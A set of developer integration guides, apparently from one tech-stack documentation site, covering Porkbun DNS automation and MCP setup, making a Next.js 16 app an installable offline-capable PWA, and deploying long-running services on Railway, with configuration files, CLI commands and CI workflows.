Hosted (no install) claude mcp add --transport http porkbun https://mcp.porkbun.com/mcp Browser OAuth 2.1 + PKCE. You choose the permissions on the consent page, and the connection appears at /account/api as "(connected app)". Variants: /mcp/no-purchases, /mcp/no-topups
Local (stdio) npx -y @porkbunllc/mcp-server (Node 18+) PORKBUN_API_KEY + PORKBUN_SECRET_API_KEY env vars

Project .mcp.json for Claude Code (it expands ${VAR} from the environment; Claude Desktop does not, so there you would paste values into the config file, which is not recommended):

{
  "mcpServers": {
    "porkbun": {
      "command": "npx",
      "args": ["-y", "@porkbunllc/mcp-server@0.52.0"],
      "env": {
        "PORKBUN_API_KEY": "${PORKBUN_API_KEY}",
        "PORKBUN_SECRET_API_KEY": "${PORKBUN_SECRET_API_KEY}"
      }
    }
  }
}

Environment variables

Both keys are secrets. Keep them in .env.local or the secrets vault, and never ship them to the browser or NEXT_PUBLIC_*:

PORKBUN_API_KEY=pk1_...          # pk1_sb_... for a sandbox key
PORKBUN_SECRET_API_KEY=sk1_...   # sk1_sb_... for a sandbox key

Non-secret settings:

Setting Value Notes
API base URL https://api.porkbun.com/api/json/v3 Same URL for sandbox keys
IPv4-only base URL https://api-ipv4.porkbun.com/api/json/v3 Use when an IPv6 client must reach the API over IPv4 (matters for IP-allowlisted keys)
MCP PORKBUN_BASE_URL unset Override only for testing
Hosted MCP URL https://mcp.porkbun.com/mcp OAuth; no key copied

Automation workflows

Slash command: set a DNS record

.claude/commands/dns.md:

Set the DNS record described by $ARGUMENTS ("<domain> <TYPE> <subdomain|@> <value>").

1. Run `node porkbun/examples/zone-check.mts <domain>`. If the zone host is not
   "porkbun", STOP: say where the zone is served and edit it there instead
   (Cloudflare: see cloudflare/CLAUDE_CODE_INTEGRATION.md).
2. GET /dns/retrieveByNameType/<domain>/<TYPE>/<subdomain>.
3. If a record exists: POST /dns/editByNameType with {"content": ...}.
   Otherwise: POST /dns/create with {"type","name","content","ttl":600}.
   Send dryRun first and show me the result before the real write.
4. Report the record id, the new value, and any `warnings` (a warning = failure).

GitHub Actions: converge an A record

# .github/workflows/porkbun-dns.yml (no third-party actions; curl + jq only)
name: Porkbun DNS
on:
  workflow_dispatch:
    inputs:
      subdomain: { description: "Subdomain ('' for apex)", required: true }
      ip: { description: "IPv4 address", required: true }
permissions: {}
jobs:
  set-a-record:
    runs-on: ubuntu-latest
    env:
      PORKBUN_API_KEY: ${{ secrets.PORKBUN_API_KEY }}           # key scoped to dns + this one domain
      PORKBUN_SECRET_API_KEY: ${{ secrets.PORKBUN_SECRET_API_KEY }}
      DOMAIN: ${{ vars.PORKBUN_DOMAIN }}
      SUB: ${{ inputs.subdomain }}
      IP: ${{ inputs.ip }}
    steps:
      - name: Refuse if Porkbun does not serve the zone
        run: |
          ns=$(curl -s -H 'accept: application/dns-json' "https://cloudflare-dns.com/dns-query?name=$DOMAIN&type=NS" | jq -r '.Answer[].data')
          echo "$ns" | grep -q 'porkbun.com' || { echo "::error::$DOMAIN is not on Porkbun DNS: $ns"; exit 1; }
      - name: Edit in place or create
        run: |
          pb=https://api.porkbun.com/api/json/v3
          auth=(-H "X-API-Key: $PORKBUN_API_KEY" -H "X-Secret-API-Key: $PORKBUN_SECRET_API_KEY")
          n=$(curl -s "${auth[@]}" "$pb/dns/retrieveByNameType/$DOMAIN/A/$SUB" | jq '.records | length')
          if [ "$n" -gt 0 ]; then
            body=$(jq -nc --arg c "$IP" '{content:$c}'); path="dns/editByNameType/$DOMAIN/A/$SUB"
          else
            body=$(jq -nc --arg n "$SUB" --arg c "$IP" '{type:"A",name:$n,content:$c,ttl:600}'); path="dns/create/$DOMAIN"
          fi
          out=$(curl -s -X POST "${auth[@]}" -H 'Content-Type: application/json' \
                -H "Idempotency-Key: ${{ github.run_id }}-${{ github.run_attempt }}" -d "$body" "$pb/$path")
          echo "$out" | jq '{status, id, code, warnings}'
          echo "$out" | jq -e '.status == "SUCCESS" and ((.warnings // []) | length == 0)' >/dev/null

Workflow inputs go through env: and jq --arg, never straight into the shell string. That keeps user input out of the command line.


Common use cases

Use case Approach
Point a subdomain at a server Step 0, then dns/create (or editByNameType if it exists)
Domain verification TXT dns/create with type: "TXT"; SPF_CONFLICT guards against a second apex SPF
Undo a bad DNS edit dns/history → dns/diff → dns/restore (dryRun first)
Dynamic DNS /ip or /ping for the current IP, then editByNameType (guide: porkbun.com/llms/guides/dynamic-dns)
Sign a Cloudflare-served zone Cloudflare DNSSEC → dns/createDnssecRecord at Porkbun
Move DNS to your Cloudflare account /cloudflare/inventory → /cloudflare/connect (human authorizes once)
Redirect a parked name domain/addUrlForward (Porkbun-served zones only)
Bulk availability check POST /domain/checkDomain with up to 25 domains
Price list / renewal budget pricing/get (public)
Auto-renew on for many names POST /domain/updateAutoRenew/{domain} with {"status":"on","domains":[…]}
Least-privilege agent Dedicated key, Manage, but no purchases, domain + IP allowlist
Event-driven updates Webhooks (dns.record.*, domain.expiring at 60/30/5 days). Verify X-Porkbun-Signature, dedupe on X-Porkbun-Webhook-Id

Troubleshooting

Errors carry a stable code and usually a next_action (type, hint, retryable, url). Branch on those, never on message.

Symptom / code Fix
Write returns SUCCESS but nothing resolves Read warnings: the zone is served elsewhere. Run step 0 and edit where the zone lives
API_ACCESS_DISABLED Turn on API Access for the domain (Details) or Opt In All Domains
INSUFFICIENT_SCOPE (403) The key lacks requiredScope. Widen it at /account/api or use a different key
IP_NOT_ALLOWED / DOMAIN_NOT_ALLOWED (403) The key's allowlists exclude this source IP or domain
INVALID_API_KEYS_001 / MISSING_SECRETAPIKEY Wrong pair, a sandbox key mixed with a real one, or the field misspelt as secretkey
DOMAIN_NOT_FOUND Not in this account. Compare account in the error with /ping
DUPLICATE_RECORD Already there. Use existingId
RECORD_CONFLICT / SPF_CONFLICT Fix the conflicting records listed in the response
RATE_LIMIT_EXCEEDED (429) Wait for Retry-After. For many names use the bulk check
COST_MISMATCH Re-quote with dryRun: true, cost: 0
DNSSEC_ALGORITHM_DEPRECATED Use alg 13 (or 8) with digest type 2
SSL retrieve fails Not issued yet, or the zone isn't on Porkbun DNS. Hosts like Vercel and Cloudflare issue their own certificates
TTL rejected ttl below the account minimum. Send 0 or omit it

codeAmani notes

Official docs:

Progressive Web Apps Integration Guide

Technology: pwa · Category: tooling · Last reviewed: 2026-10-20

Source: https://tech-stack.codeamanilabs.org/guide/pwa

Insight:

A PWA is a normal Next.js app plus three pieces: a manifest.ts so it can be installed, a service worker that caches, and a caching strategy chosen per asset. Three things changed the picture by late 2026. Chrome no longer requires a service worker before it will offer an install. iOS 26 opens every site added to the Home Screen as a web app. Lighthouse dropped its PWA category in v12. So "installable" is now cheap, and offline behaviour is where the real engineering goes. For US-first apps that means a fingerprinted precache (Serwist; @serwist/turbopack on Next 16's default builder) and push that iOS supports. For Kenya-targeted apps on 2G/3G it also means an offline outbox for writes. This dashboard is the live reference implementation: a hand-written sw.js whose cache name is stamped with a content hash at build time.

██████╗ ██╗    ██╗ █████╗
██╔══██╗██║    ██║██╔══██╗
██████╔╝██║ █╗ ██║███████║
██╔═══╝ ██║███╗██║██╔══██║
██║     ╚███╔███╔╝██║  ██║
╚═╝      ╚══╝╚══╝ ╚═╝  ╚═╝

Progressive Web Apps Integration Guide

Focus: make a Next.js 16 app installable and offline-capable. You need a web app manifest so it can be installed, a service worker that caches, the right caching strategy for each asset, and, where it fits, Web Push and an offline outbox for writes. This dashboard is already a PWA, so the patterns below are running in this repo.

Overview

A Progressive Web App is, in MDN's words, "an app that's built using web platform technologies, but that provides a user experience like that of a platform-specific app." It ships like a website, yet users can install it to the home screen, launch it full-screen, and keep using it with no network. Three pieces make that work:

  1. Web app manifest: a small JSON file with the app's name, icons, colors and launch mode. Browsers read it when they offer an install.
  2. Service worker: a script that runs on its own thread, outside any page. It intercepts every request in its scope and answers from the cache, the network, or both.
  3. A caching strategy: the policy the worker applies to each request. Choosing the right strategy for each asset type is most of the work.

What changed since the last review (2026-08-23)

Area Was Now (verified 2026-10-20)
Chrome installability Manifest + HTTPS + service worker Manifest + HTTPS + a user-engagement heuristic. No service worker is required (web.dev install criteria)
iOS install Only sites with a manifest or apple-mobile-web-app-capable opened standalone iOS/iPadOS 26: every site added to the Home Screen opens as a web app by default. Users can turn off "Open as Web App" (WebKit, Safari 26)
iOS push Service-worker Web Push, Home Screen apps only (16.4+) Same, plus Declarative Web Push (iOS/iPadOS 18.4+, macOS Safari 18.5), which displays JSON payloads without a service worker
Lighthouse "Run the PWA audit" The PWA category was removed in Lighthouse v12 (current: 13.5.0). Check installability in DevTools → Application → Manifest instead
Next.js 16.3.2 16.4.2. useOffline is still experimental (import from next/offline)
Serwist 9.5.12 9.5.13 (10.0.0-preview.14 on the preview tag)
Dashboard SW versioning "Bump the CACHE constant by hand" scripts/snapshot.mjs stamps CACHE = "tech-stack-<sha256[0..12]>" from the content on every build

Official Documentation

Source URL What it covers
MDN: Progressive Web Apps https://developer.mozilla.org/en-US/docs/Web/Progressive_web_apps Concepts, manifest members, guides
web.dev: Service workers https://web.dev/learn/pwa/service-workers Lifecycle (install → activate → fetch), scope
web.dev: Install criteria https://web.dev/articles/install-criteria Chrome's exact beforeinstallprompt criteria
Next.js: PWA guide https://nextjs.org/docs/app/guides/progressive-web-apps Manifest, Web Push with Server Actions, SW headers, useOffline
Next.js: manifest.ts https://nextjs.org/docs/app/api-reference/file-conventions/metadata/manifest MetadataRoute.Manifest
Serwist: Turbopack https://serwist.pages.dev/docs/next/turbo @serwist/turbopack for Next 16's default builder
Serwist: webpack https://serwist.pages.dev/docs/next/getting-started @serwist/next + withSerwistInit
Chrome: Caching strategies https://developer.chrome.com/docs/workbox/caching-strategies-overview cache-first / network-first / stale-while-revalidate
MDN: Background Sync https://developer.mozilla.org/en-US/docs/Web/API/Background_Synchronization_API registration.sync.register + sync event (not Baseline)
WebKit: Declarative Web Push https://webkit.org/blog/16535/meet-declarative-web-push/ Push without a service worker on Apple platforms

Pinned versions (verified with npm view, 2026-10-20)

Package Version Notes
next 16.4.2 Dashboard is on ^16.2.9. Turbopack is the default builder
serwist 9.5.13 Core worker runtime (Serwist, strategies, BackgroundSyncPlugin)
@serwist/turbopack 9.5.13 Peers: next >=14, react >=18, esbuild >=0.25 <1
@serwist/next 9.5.13 webpack plugin. Peers include @serwist/cli ^9.5.13
web-push 3.6.7 Last published Jan 2024 and still the standard Node sender. engines: node >=16
@types/web-push 3.6.4
workbox-* 7.4.1 Only if you use Workbox directly. Serwist is a Workbox fork
lighthouse 13.5.0 No PWA category since 12.0

1. The web app manifest (installability)

In the App Router, generate the manifest with a typed app/manifest.ts. Next serves it at /manifest.webmanifest and injects the <link rel="manifest">. This is the dashboard's manifest (packages/dashboard/app/manifest.ts; full file in examples/manifest.ts):

// app/manifest.ts
import type { MetadataRoute } from "next";

export default function manifest(): MetadataRoute.Manifest {
  return {
    id: "/",                        // stable identity across start_url changes
    name: "codeAmani Tech-Stack",
    short_name: "Tech-Stack",
    description: "Interactive developer learning platform.",
    start_url: "/",
    scope: "/",
    display: "standalone",
    orientation: "portrait",
    background_color: "#0f1115",
    theme_color: "#0f1115",
    icons: [
      { src: "/icons/icon-192.png", sizes: "192x192", type: "image/png", purpose: "any" },
      { src: "/icons/icon-512.png", sizes: "512x512", type: "image/png", purpose: "any" },
      { src: "/icons/icon-maskable-512.png", sizes: "512x512", type: "image/png", purpose: "maskable" },
    ],
    shortcuts: [{ name: "Search guides", short_name: "Search", url: "/search" }],
  };
}

Chrome install criteria (web.dev). Chrome fires beforeinstallprompt and shows its own install promotion when all of these hold:

A service worker is no longer on that list. You still need one for offline support, push and background sync, which are the reasons to build a PWA at all.

iOS / iPadOS 26. Share → Add to Home Screen opens any site as a web app by default, with or without a manifest. If you have a manifest, its icons and settings are still used. iOS never fires beforeinstallprompt, so show a "Share → Add to Home Screen" hint (the dashboard does this in components/pwa/install-prompt.tsx). The Next.js guide advises against a custom beforeinstallprompt button as your only install path because it doesn't work on Safari. On Android, a contextual button still converts well.

2. The service worker (lifecycle: install → activate → fetch)

Scope comes from the script's location: /sw.js controls the whole origin. Only one worker can control a given scope.

stateDiagram-v2
    [*] --> Registered: navigator.serviceWorker.register('/sw.js')
    Registered --> Installing: parse script
    Installing --> Installed: install event · precache shell
    Installed --> Activating: (skipWaiting skips the wait)
    Activating --> Activated: activate event · purge old caches · clientsClaim
    Activated --> Idle
    Idle --> Fetching: fetch event (any in-scope request)
    Fetching --> Idle: serve from cache / network
    Activated --> [*]: byte-different sw.js found → cycle repeats

Register it from a client component. This is the dashboard's components/pwa/register-sw.tsx, trimmed (full version in examples/register-sw.tsx):

"use client";
import { useEffect } from "react";

export function RegisterServiceWorker() {
  useEffect(() => {
    if (!("serviceWorker" in navigator)) return;
    const hadController = Boolean(navigator.serviceWorker.controller);
    let reloading = false;
    navigator.serviceWorker.addEventListener("controllerchange", () => {
      if (reloading || !hadController) return; // nothing stale on a first visit
      reloading = true;
      window.location.reload();                // show the new deploy's content once
    });
    navigator.serviceWorker
      .register("/sw.js", { scope: "/", updateViaCache: "none" })
      .then((reg) => reg.update())             // re-check now, not in ~24h
      .catch(() => {});                        // non-fatal: app works without offline
  }, []);
  return null;
}

A browser only installs a new worker when /sw.js is byte-different. So version the cache name in the file itself:

3. Caching strategies (choose one per asset)

Strategy Behavior Use it for
Cache-first Serve from cache. Go to the network only on a miss, then cache the response. Hash-versioned static assets: /_next/static/*, fonts, icons
Network-first Try the network. Fall back to the cache when offline (optionally after a timeout). HTML navigations, and read APIs where freshness matters
Stale-while-revalidate Serve from cache at once and refresh it in the background. Avatars, thumbnails, content that changes occasionally
Cache-only Cache only. Precached, versioned shell assets
Network-only Network only. Non-GET requests, auth'd or per-user data, payments
flowchart TD
    A[Request in scope] --> P{Non-GET, /api/, auth'd<br/>or payment?}
    P -- yes --> N[Network-only<br/>queue idempotent writes in an outbox]
    P -- no --> B{Hash-versioned<br/>JS · CSS · fonts · icons?}
    B -- yes --> C[Cache-first]
    B -- no --> D{HTML page or read API<br/>where freshness matters?}
    D -- yes --> E[Network-first<br/>fallback to cache → /offline]
    D -- no --> F{Occasionally-updated<br/>avatar · thumbnail?}
    F -- yes --> G[Stale-while-revalidate]
    F -- no --> H[Network-only]

Precaching happens at install: a fixed, versioned list of shell files is fetched up front, so the app opens offline on its first relaunch. Runtime caching happens at fetch: responses are cached lazily as the user moves around.

The dashboard's public/sw.js does both. It precaches ["/", "/search", "/browse", "/more", "/offline"], uses network-first for navigations (falling back to the cached page, then /offline), and cache-first for /_next/static/, /icons/ and .webp/.png. Everything else goes straight to the network.

4. Serwist (Next.js 16: Turbopack or webpack)

A hand-written sw.js is fine for a small, fixed shell. Once you precache more than a handful of routes, use Serwist (a maintained fork of Workbox). It builds a revisioned precache manifest at compile time and ships Workbox's strategies as defaultCache. next-pwa (shadowwalker) is unmaintained, so don't use it.

Next 16 builds with Turbopack by default, and @serwist/next is a webpack plugin. Pick the package that matches your builder. The worker source is the same for both; only the defaultCache import differs.

Turbopack path (default builder): @serwist/turbopack

npm i -D @serwist/turbopack@9.5.13 esbuild serwist@9.5.13
// next.config.mjs
import { withSerwist } from "@serwist/turbopack";

export default withSerwist({
  // your Next.js config
});

Serwist serves the compiled worker from a route handler instead of writing it to public/:

// app/serwist/[path]/route.ts
import { spawnSync } from "node:child_process";
import { createSerwistRoute } from "@serwist/turbopack";

// Optional revision for extra precached pages; args passed as an array (no shell).
const revision =
  spawnSync("git", ["rev-parse", "HEAD"], { encoding: "utf-8" }).stdout ?? crypto.randomUUID();

export const { dynamic, dynamicParams, revalidate, generateStaticParams, GET } = createSerwistRoute({
  additionalPrecacheEntries: [{ url: "/~offline", revision }],
  swSrc: "app/sw.ts",
  useNativeEsbuild: true, // false → esbuild-wasm
});

Register it with <SerwistProvider swUrl="/serwist/sw.js"> from @serwist/turbopack/react in app/layout.tsx, in place of a hand-rolled register component. The worker lives under /serwist/, but it still controls the whole site: in 9.5.13 the route handler sends Service-Worker-Allowed: / and the provider registers with scope: "/" by default. If auth middleware guards your app, exclude /serwist/ from it, the same way the dashboard excludes sw.js.

webpack path: @serwist/next

npm i @serwist/next@9.5.13 && npm i -D serwist@9.5.13
// next.config.mjs
import { spawnSync } from "node:child_process";
import withSerwistInit from "@serwist/next";

const revision =
  spawnSync("git", ["rev-parse", "HEAD"], { encoding: "utf-8" }).stdout ?? crypto.randomUUID();

const withSerwist = withSerwistInit({
  additionalPrecacheEntries: [{ url: "/~offline", revision }],
  swSrc: "app/sw.ts",
  swDest: "public/sw.js", // add public/sw* and public/swe-worker* to .gitignore
});

export default withSerwist({
  // your Next.js config
});

For TypeScript, add "@serwist/next/typings" to compilerOptions.types and "webworker" to lib, and exclude public/sw.js.

The worker (app/sw.ts)

This is a trimmed version of examples/sw.ts, which was type-checked with --strict against serwist@9.5.13:

/// <reference lib="esnext" />
/// <reference lib="webworker" />
import { defaultCache } from "@serwist/next/worker"; // Turbopack: "@serwist/turbopack/worker"
import type { PrecacheEntry, SerwistGlobalConfig } from "serwist";
import { BackgroundSyncPlugin, NetworkOnly, Serwist } from "serwist";

declare global {
  interface WorkerGlobalScope extends SerwistGlobalConfig {
    __SW_MANIFEST: (PrecacheEntry | string)[] | undefined;
  }
}
declare const self: ServiceWorkerGlobalScope;

// Failed POSTs go to IndexedDB and are replayed later (maxRetentionTime is in minutes).
const outbox = new BackgroundSyncPlugin("outbox", { maxRetentionTime: 24 * 60 });

const serwist = new Serwist({
  precacheEntries: self.__SW_MANIFEST,
  skipWaiting: true,
  clientsClaim: true,
  navigationPreload: true,
  runtimeCaching: [
    {
      matcher: ({ url, sameOrigin }) => sameOrigin && url.pathname === "/api/outbox",
      method: "POST",
      handler: new NetworkOnly({ plugins: [outbox] }),
    },
    ...defaultCache, // Workbox-grade defaults per asset type
  ],
  fallbacks: {
    entries: [{ url: "/~offline", matcher: ({ request }) => request.destination === "document" }],
  },
});

serwist.addEventListeners();

5. Offline support

With the shell precached and an offline page as the navigation fallback, a user who loses signal mid-session still sees the app instead of the browser's error page. The dashboard's app/offline/page.tsx is an ordinary route that gets precached. Serwist's examples use /~offline; either name works if you precache it and point the fallback at it. Make sure auth middleware doesn't block it: the dashboard's middleware.ts matcher excludes sw.js, manifest.webmanifest, icons/ and offline from Basic Auth.

useOffline (Next 16, experimental)

useOffline() from next/offline returns true after a request fails or the browser fires offline. It returns false on the server, and always false unless you set experimental: { useOffline: true }. Turning on the flag also makes Next retry blocked navigations, prefetches and Server Action requests when the connection comes back. Use it for connectivity-aware UI (examples/offline-banner.tsx). It is not a cache: it complements a service worker and doesn't replace one. Next's docs say it is not recommended for production yet.

Offline writes: Background Sync and the outbox

Background Sync (registration.sync.register(tag) → a sync event in the worker) is not Baseline: per MDN it only works in some major browsers (Chromium). Don't build a Kenya-critical flow on it alone:

Push notifications (Push API + web-push)

Web Push works in Chromium, Firefox, Safari 16+ on macOS 13+, and on iOS/iPadOS 16.4+ only for Home Screen web apps (not in a Safari tab). The loop:

  1. Subscribe on the client after a user gesture, never on first load:
"use client";
const registration = await navigator.serviceWorker.ready;
const sub = await registration.pushManager.subscribe({
  userVisibleOnly: true,
  applicationServerKey: urlBase64ToUint8Array(process.env.NEXT_PUBLIC_VAPID_PUBLIC_KEY!),
});
await saveSubscription(JSON.parse(JSON.stringify(sub))); // Server Action → DB
  1. Send from the server with web-push (full helper in examples/push.ts). Keep the sender in a server-only module that you call from an authenticated Server Action or Route Handler. A "use server" file that exports sendPush would let any client trigger pushes.
import webpush, { WebPushError } from "web-push";

webpush.setVapidDetails("mailto:dev@example.com", publicKey, privateKey);
try {
  await webpush.sendNotification(sub, JSON.stringify({ title, body, url }), {
    TTL: 86_400,          // hold up to 24h while the phone is offline (default 4 weeks)
    urgency: "normal",    // very-low | low | normal | high
    topic: "order-status" // newer message replaces an undelivered older one
  });
} catch (err) {
  if (err instanceof WebPushError && (err.statusCode === 404 || err.statusCode === 410)) {
    await store.remove(sub.endpoint); // subscription is dead: prune it
  } else throw err;
}
  1. Handle it in the worker: push calls self.registration.showNotification(...), and notificationclick calls self.clients.openWindow(url) (see examples/sw.ts).

Generate the VAPID pair once with npx web-push generate-vapid-keys. The public key isn't secret. The private key is:

Variable Secret? Where
NEXT_PUBLIC_VAPID_PUBLIC_KEY No (shipped to the browser) Vercel env / .env.local
VAPID_PRIVATE_KEY Yes Server env only, via the secrets vault
VAPID_PRIVATE_KEY=your_vapid_private_key_here

Declarative Web Push (Apple: iOS/iPadOS 18.4+, macOS Safari 18.5+) lets the push service show a notification from a JSON payload ({"web_push": 8030, "notification": {...}}) without running a service worker. Subscription goes through window.pushManager. It's Apple-only for now, so keep the service-worker push handler as the cross-browser path.

Secure the worker's headers

From the Next.js PWA guide, set these in next.config headers() for /sw.js: Cache-Control: no-cache, no-store, must-revalidate, Content-Type: application/javascript; charset=utf-8, and Content-Security-Policy: default-src 'self'; script-src 'self'. Add X-Content-Type-Options: nosniff site-wide. (The dashboard doesn't set these today. It relies on updateViaCache: "none" + reg.update() and the host's defaults; see NOTES.)

Testing

6. US-first defaults vs Kenya-targeted offline profile

Concern US-first default Kenya-targeted (2G/3G, Android-heavy)
Install Let the browser promote it. Add a contextual Android button and an iOS hint Same, plus show the value up front ("works offline, uses less data")
Navigations Network-first, fall back to cache → offline page Network-first with a short network timeout (Serwist NetworkFirst({ networkTimeoutSeconds: 3 })), then cache
Static assets Cache-first (/_next/static is hashed) Same. Precache the shell and the 2–3 most-used routes
Read APIs Network-only or SWR for public data Stale-while-revalidate for public catalog data (prices, products), with "last updated" shown
Writes Online only. Show an error when offline Outbox: queue idempotent writes in IndexedDB and replay on sync / online / app open
Payments Stripe, online only, never queued M-Pesa (Daraja), online only. STK Push needs the phone reachable, so queue the order, not the payment
Push Optional re-engagement. iOS needs a Home Screen install Useful for order status. Set a short TTL and a topic so stale updates collapse. SMS/WhatsApp stays the fallback
Bundle Normal budgets Tight budgets: lazy-load below the fold, no web fonts on the offline page

codeAmani notes

Official docs:

Railway Integration Guide

Technology: railway · Category: hosting · Last reviewed: 2026-09-05

Source: https://tech-stack.codeamanilabs.org/guide/railway

Insight:

Railway runs always-on containers, not serverless functions — reach for it when a process must outlive a request: queue consumers, SKIP LOCKED pollers, WebSocket servers, long-lived M-Pesa reconciliation workers. Vercel stays the default for the Next.js front end; Railway hosts the worker beside it, with managed Postgres/Redis on the same private network.

██████╗  █████╗ ██╗██╗     ██╗    ██╗ █████╗ ██╗   ██╗
██╔══██╗██╔══██╗██║██║     ██║    ██║██╔══██╗╚██╗ ██╔╝
██████╔╝███████║██║██║     ██║ █╗ ██║███████║ ╚████╔╝
██╔══██╗██╔══██║██║██║     ██║███╗██║██╔══██║  ╚██╔╝
██║  ██║██║  ██║██║███████╗╚███╔███╔╝██║  ██║   ██║
╚═╝  ╚═╝╚═╝  ╚═╝╚═╝╚══════╝ ╚══╝╚══╝ ╚═╝  ╚═╝   ╚═╝

Railway Integration Guide

Focus — Deploying long-running services, workers, cron jobs and managed databases on Railway from Claude Code: CLI, config-as-code, the public GraphQL API, and the private-network topology that keeps egress costs at zero.

Overview

Railway is a container hosting platform. You point it at a repo, it builds an OCI image (via Railpack, the successor to Nixpacks) and runs it as a long-lived process with a public HTTPS domain, TLS, and health-checked zero-downtime deploys.

The distinction that matters when choosing it:

Shape Platform Why
Next.js app, request/response Vercel Serverless is the right fit; keep the default
Static site + edge functions Netlify / Cloudflare Edge-first
Process that must outlive a request Railway Queue consumers, pollers, WebSocket servers, schedulers
Managed Postgres + Redis on one private network Railway One project, one private network, no egress fees between services

A Railway project contains services (each a deployed container) across environments (production, staging, PR environments). Services in the same project and environment reach each other over a private IPv6 network — traffic there is free and never leaves Railway.

Official Documentation

Topic URL
Docs home https://docs.railway.com
Config as code (railway.json / .toml) https://docs.railway.com/reference/config-as-code
Public GraphQL API https://docs.railway.com/reference/public-api
CLI reference https://docs.railway.com/reference/cli-api
Private networking https://docs.railway.com/reference/private-networking
Variables & reference variables https://docs.railway.com/guides/variables
Cron jobs https://docs.railway.com/guides/cron-jobs
Pricing & plan limits https://docs.railway.com/reference/pricing/plans
JSON schema (editor autocomplete) https://railway.com/railway.schema.json

CLI setup

# Install (v5.49.2 at time of review)
npm install -g @railway/cli

railway login            # opens a browser; use `railway login --browserless` over SSH
railway init             # create a new project from the current directory
railway link             # or: attach this directory to an existing project

railway up               # build + deploy, streaming logs
railway up -d            # detached — don't stream
railway up --ci          # CI mode: no interactive prompts
railway up --service my-api --environment staging

Useful day-to-day commands:

railway add                        # add a service or a database (Postgres, Redis, MySQL, Mongo)
railway variables                  # list variables for the linked service
railway variables set KEY=value    # set one
railway run -- npm run dev         # run locally WITH the remote environment's variables injected
railway logs                       # tail deploy/runtime logs
railway open                       # open the project dashboard

railway run is the one to remember: it injects the live environment's variables into a local process, so local dev hits the same database and secrets as the deployed service without ever copying them into a .env file.

Config as code

Commit a railway.json (or railway.toml) next to your service. It overrides dashboard settings, so infrastructure changes ship in the same PR as the code.

{
  "$schema": "https://railway.com/railway.schema.json",
  "build": {
    "builder": "RAILPACK"
  },
  "deploy": {
    "startCommand": "node dist/worker.js",
    "preDeployCommand": "npm run db:migrate",
    "healthcheckPath": "/health",
    "healthcheckTimeout": 300,
    "restartPolicyType": "ON_FAILURE",
    "restartPolicyMaxRetries": 10
  }
}

The TOML form is equivalent:

[build]
builder = "railpack"
buildCommand = "npm run build"

[deploy]
preDeployCommand = ["npm run db:migrate"]
startCommand = "node dist/worker.js"
healthcheckPath = "/health"
healthcheckTimeout = 300
restartPolicyType = "on_failure"

Key fields:

railway.toml does not support volume-mount configuration — use railway.json or the dashboard for volumes.

The PORT contract

Railway injects a PORT environment variable and expects your server to bind it on 0.0.0.0. Hardcoding a port is the single most common cause of a service that builds fine and then fails its health check.

const port = Number(process.env.PORT) || 3000;
app.listen(port, "0.0.0.0", () => console.log(`listening on ${port}`));

If your app cannot listen on PORT (for example when using target ports), set a PORT variable explicitly so Railway probes the right one.

Variables, references and private networking

Railway variables are per-service, per-environment. Reference variables interpolate one service's value into another's, so a connection string is never copy-pasted:

# In the app service, referencing the Postgres service in the same project:
DATABASE_URL=${{Postgres.DATABASE_URL}}
REDIS_URL=${{Redis.REDIS_URL}}

# Reference another service's private address:
API_URL=http://${{api.RAILWAY_PRIVATE_DOMAIN}}:3000

Prefer the private form. Every service gets a RAILWAY_PRIVATE_DOMAIN resolvable only inside the project's IPv6 network:

Bind private listeners to IPv6 (::) — a server listening only on 0.0.0.0 is unreachable over the private network.

Railway also injects RAILWAY_ENVIRONMENT, RAILWAY_SERVICE_NAME, RAILWAY_PUBLIC_DOMAIN and RAILWAY_GIT_COMMIT_SHA — useful for tagging Sentry releases and structured logs.

Public GraphQL API

One endpoint: POST https://backboard.railway.com/graphql/v2.

Token type Header Scope
Account / Workspace / OAuth Authorization: Bearer <TOKEN> Account or workspace-wide
Project token Project-Access-Token: <TOKEN> A single environment in one project
curl --request POST \
  --url https://backboard.railway.com/graphql/v2 \
  --header "Project-Access-Token: $RAILWAY_PROJECT_TOKEN" \
  --header 'Content-Type: application/json' \
  --data '{"query":"query { projectToken { projectId environmentId } }"}'

From TypeScript — note fetch, never a shell-based HTTP call:

const RAILWAY_API = "https://backboard.railway.com/graphql/v2";

export async function railwayQuery<T>(
  query: string,
  variables: Record<string, unknown> = {},
): Promise<T> {
  const token = process.env.RAILWAY_API_TOKEN;
  if (!token) throw new Error("RAILWAY_API_TOKEN is not set");

  const res = await fetch(RAILWAY_API, {
    method: "POST",
    headers: {
      "Content-Type": "application/json",
      Authorization: `Bearer ${token}`,
    },
    body: JSON.stringify({ query, variables }),
  });

  if (res.status === 429) {
    const retryAfter = res.headers.get("Retry-After") ?? "60";
    throw new Error(`Railway rate limit hit; retry after ${retryAfter}s`);
  }
  if (!res.ok) throw new Error(`Railway API ${res.status}: ${await res.text()}`);

  const body = (await res.json()) as { data?: T; errors?: { message: string }[] };
  if (body.errors?.length) throw new Error(body.errors.map((e) => e.message).join("; "));
  if (!body.data) throw new Error("Railway API returned no data");
  return body.data;
}

Rate limits (responses carry X-RateLimit-Limit, -Remaining, -Reset):

Plan Per hour Per second
Free 100 —
Hobby 1,000 10
Pro 10,000 50

Cron jobs

Set a Cron Schedule on a service and Railway runs its start command on that schedule. The rules are strict and worth internalising:

*/15 * * * *   # every 15 minutes
0 3 * * *      # 03:00 UTC daily  (= 06:00 EAT; Kenya is UTC+3 year-round)

Because the schedule is UTC and East Africa Time has no DST, an EAT-local job is a fixed −3h offset — 0 3 * * * is reliably 6am in Nairobi.

CI/CD with GitHub Actions

Deploy on green tests using a project token stored as a repository secret:

# .github/workflows/railway-deploy.yml
name: Deploy to Railway
on:
  push:
    branches: [master]

jobs:
  deploy:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - uses: actions/setup-node@v4
        with:
          node-version: 24
          cache: npm
      - run: npm ci
      - run: npm test
      - name: Deploy
        run: |
          npm install -g @railway/cli
          railway up --ci --service "$RAILWAY_SERVICE"
        env:
          RAILWAY_TOKEN: ${{ secrets.RAILWAY_TOKEN }}
          RAILWAY_SERVICE: api

RAILWAY_TOKEN in the environment authenticates the CLI non-interactively — no railway login step. Scope it to a project token so a leaked CI secret can touch exactly one environment.

Pricing model

Usage-based, billed per minute of actual consumption:

Resource Rate
Memory $10 / GB / month ($0.000231 / GB / min)
vCPU $20 / vCPU / month ($0.000463 / vCPU / min)
Network egress $0.05 / GB
Plan Subscription Included usage Per-service ceiling
Hobby $5/mo $5 48 GB RAM, 48 vCPU, 6 replicas
Pro $20/mo $20 1 TB RAM, 1,000 vCPU, 42 replicas
